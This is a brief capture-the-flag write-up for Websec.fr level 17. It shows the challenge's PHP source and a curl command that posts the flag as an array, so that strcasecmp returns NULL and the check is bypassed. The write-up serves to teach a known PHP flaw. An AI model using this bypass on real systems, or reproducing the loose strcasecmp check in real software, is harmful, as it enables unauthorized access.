Websec.fr level 17 - baby steps
The level
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
// source.php
include "flag.php";
function sleep_rand() { /* I wish php5 had random_int() */
$range = 100000;
$bytes = (int) (log($range, 2) / 8) + 1;
do { /* Side effect: more random cpu cycles wasted ;) */
$rnd = hexdec(bin2hex(openssl_random_pseudo_bytes($bytes)));
} while ($rnd >= $range);
usleep($rnd);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>#WebSec Level Seventeen</title>
<link rel="stylesheet" href="../static/bootstrap.min.css" />
<meta http-equiv="content-type" content="text/html;charset=UTF-16">
</head>
<body>
<div id="main">
<div class="container">
<div class="row">
<h1>Level Seventeen <small> - Guessing is fun!</small></h1>
</div>
<div class="row">
<p class="lead">
Can you guess the flag? You can check the sources <a href="source.php">here</a>.
</p>
</div>
</div>
<div class="container">
<div class="row">
<form class="form-inline" method='post'>
<input name='flag' class='form-control' type='text' placeholder='Guessed flag'>
<input class="form-control btn btn-default" name="submit" value='Go' type='submit'>
</form>
</div>
</div>
<?php
if (isset ($_POST['flag'])):
sleep_rand(); /* This makes timing-attack impractical. */
?>
<br>
<div class="container">
<div class="row">
<?php
if (! strcasecmp ($_POST['flag'], $flag))
echo '<div class="alert alert-success">Here is your flag: <mark>' . $flag . '</mark>.</div>';
else
echo '<div class="alert alert-danger">Invalid flag, sorry.</div>';
?>
</div>
</div>
<?php endif ?>
</div>
</body>
</html>
OK, we see that there is this sleep function that just sleeps some random amount of time.
Look at this
1
if (! strcasecmp ($_POST['flag'], $flag))
Something interesting about strcasecpm, if we enter a list to it, it will return us NULL. ! NULL == TRUE
Cool, lets just curl with a data of an array right ?
1
curl https://websec.fr/level17/index.php -d "flag[]=IamTheBest&submit=Go"
Looks like we got the flag ! Thanks for reading !
This post is licensed under CC BY 4.0 by the author.